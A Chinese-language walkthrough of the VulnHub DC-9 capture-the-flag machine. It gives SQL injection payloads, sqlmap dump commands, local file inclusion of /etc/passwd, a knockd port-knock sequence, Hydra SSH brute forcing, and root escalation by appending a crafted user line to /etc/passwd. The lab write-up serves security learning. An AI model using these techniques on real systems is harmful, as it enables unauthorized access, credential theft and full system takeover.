vulnhub DC-9通关

 知识点总结

只有对原理了然如心,你才能突破更多的限制!

1.学习信息收集的使用和重要性

2.了解基本的sql注入以及sqlmap的深入使用

3.本地文件包含的利用

4.ssh用户名密码爆破

5.ssh保护机制--knockd敲门

6.检索信息泄露

7.通过文件写入/etc/passwd提权

8.了解/etc/passwd目录的相关信息

9.巩固linux相关命令

环境安装

攻击机:kali2023

靶机安装:https://download.vulnhub.com/dc/DC-9.zip

信息收集

靶机IP检索

arp-scan -l

 未开靶机:

 开靶机:

经过开启与关闭的对比发现靶机IP:192.168.110.131

端口扫描

nmap 192.168.110.131

开启了80和22端口,但是22处于filter状态,肯定被做了相关的防护措施,那就看看80端口

网站遍历

养成习惯先看源码,好,一无所获,依次看Home就是上图,有个提示,select option,难道是sql注入,先留着,再看Display All Records

就存储了些用户信息,访问Search

sql injection开篇

一个查询界面试试sql注入payload,' or 1=1 --+

手动sql注入

果然爆出之前用户的所有的信息,bp抓包到repeater,再进一步查询语句如下

上述两处都可以插入语句,此处并没有对post传参做硬性要求,我们就可以直接在左边注入,也方便一点,注入语句依次如下

下述命令诠释:单纯的 ' 只能试出存在sql注入,此处要真正查询某user
Mary' order by 1 --+    //到7时就没有正常回显,说明只有6列
Mary' union select 1,2,3,4,5,6 --+   //确定回显的位置
Mary' union select database(),2,3,4,5,6
Mary' union select database(),group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() --+
Mary' union select database(),group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='Users' --+
Mary' union select database(),group_concat(Username,Password),3,4,5,6 from Users--+
....

查到了username和password还不知道用来干什么的,先留着,密码即为admin和3之间的字符,对其进行MD5解密(感觉是md5解密,应为一般密码并没有这么复杂),得密码transorbital1

再查看Manage

要登录,刚好试试刚刚的用户名密码,成功了登录!

另一种登录方法

如下:

目录扫描

dirb http://192.168.110.131 

访问/includes,虽然一无所获,但是怀疑可能有文件包含

访问/css,只有一个修饰网站的css文件,并无其他信息

扫描文件名

dirb http://192.168.110.131 -X .php,.html,.zip,.txt

发现好多文件其实网站上都可以直接访问到,下面看看几个不能直接

访问config.php,结果一片空白

访问session.php,结果显示如下,welcome.php的效果和他一样

也许这就是信息收集的妙处吧

本地文件包含

为什么会想到文件包含?

因为上图

 同时还有之前目录扫描时的/includes目录

我们试着找一下参数。因为我们是登录后才看到的file does not exist,所以记住带上cookie

wfuzz -c -u http://192.168.110.131/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt -H "Cookie:PHPSESSID=l5r7estpbj5rrcfapfdhun8v6p"

发现好多,也不可能出现这么多参数,我们过滤掉word=100w

wfuzz -c -u http://192.168.110.131/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt -H "Cookie:PHPSESSID=l5r7estpbj5rrcfapfdhun8v6p" --hw 100

看来只有file参数

【补充】:为什么有../../../../../etc/passwd

该目录存放着用户相关信息,然后../访问上级目录,只要我们最终能访问到根目录就行,这就要求../的数量够多(我是随便输入的五个../),因为根目录的上级一级目录是他本身!

我们就直接看看文件包含了

验证成功!但是好像没有什么可以利用的东西!

试过了远程文件包含也失败了!

回望之前的sql注入,应该还有没有利用的东西

sqlmap爆破数据库

之前手动注入效率有点低了,这次直接上sqlmap,脱库

sqlmap -u "http://192.168.110.131/results.php" --data="search=" --dump

上图就是我们之前看到的所有的user和admin

但是可以看出只拖出来一个库的两个表,因为连基本的information_schema都没有出现,我们再看看其他库

sqlmap -u "http://192.168.110.131/results.php" --data="search=" -dbs

sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -tables

sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails --dump

好,username,password看来让我们爆破用户密码

我们先把username和password字段分别提取到user,passwd

sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails -C 'username' --dump >user
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails -C 'password' --dump>passwd

此时,回显的所有信息都在user和passwd里面,我们要进行处理最后得到

此处我新建了use.txt和password.txt用于存储用户名密码

那怎么使用这些用户名密码呢?想到之前不是开了22ssh服务了吗,但是被加了保护设施

一次ssh爆破

使用Hydra爆破ssh端口22

connection refused,跟上面22端口的filter有关,说明ssh一定被保护了

ssh端口保护科普

在此就科普一下,保护ssh端口的几种方法!

1、把 SSH 的标准端口改为不常用的值并增强 SSH 配置,从而挡住最简单的攻击。
2、定义有限的用户列表,只允许这些用户登录。
3、完全隐藏允许 SSH 访问的事实,要求根据特殊的 “敲门” 序列识别有效用户。

而此处即是利用的第三种方法,原因:排除1:端口未变,排除2:我们根本不能登录

Knockd“敲门”

那什么是“敲门”:如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockdknockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

如果目标服务器上按照了 knockd ,那么默认的配置文件就存放在 /etc/knockd.conf 里!那么我们就可以利用文件包含去查看

kali下载knockd

apt-get install knockd

使用knockd敲门

knock 192.168.110.131 7469 8475 9842

可见敲门成功,我们再爆破用户名密码

爆出三个用户

登录第二个

登录第三个

发现隐藏文件,查看后,觉得应该是提供更多密码,复制粘贴追加到password.txt

二次ssh爆破

再次爆破密码,发现新用户

直接登录

权限提升

大致就是找到有执行权限的文件test,执行时发现该文件只想另一个test.py文件,查找该python文件的内容,而文件程序的作用:分别将两个文件作为参数,把第一个文件的内容追加到第二个文件中,此时就相当于我们对某些文件追加数据。

如何利用?

总所周知,/etc/passwd文件是用于存储用户的相关信息,我们也可以通过追加内容进而添加有root权限的新用户,其添加的具题内容又是什么,我们就根据分析/etc/passwd文件来确定

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
实例如下:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...太多了,省略一部分...
skx:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash

可以参看文章:llinux 写/etc/passwd文件添加用户_修改 /etc/passwd 增加空密码用户-CSDN博客

而密码处我们就可以使用openssl算法加密

先openssl passwd创建一个新用户admin和密码admin

openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密

然后构造/etc/passwd格式写入/tmp/passwd中

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >/tmp/passwd

再运行刚刚发现的test.py将/tmp/passwd写入到/etc/passwd

因为之前的test是指向后来的test.py的,我们就可以通过执行test来执行test.py,主要是test.py目录文件我们没有执行权限!

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

然后我们直接su登录创建的用户就可以获得root权限了

获取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值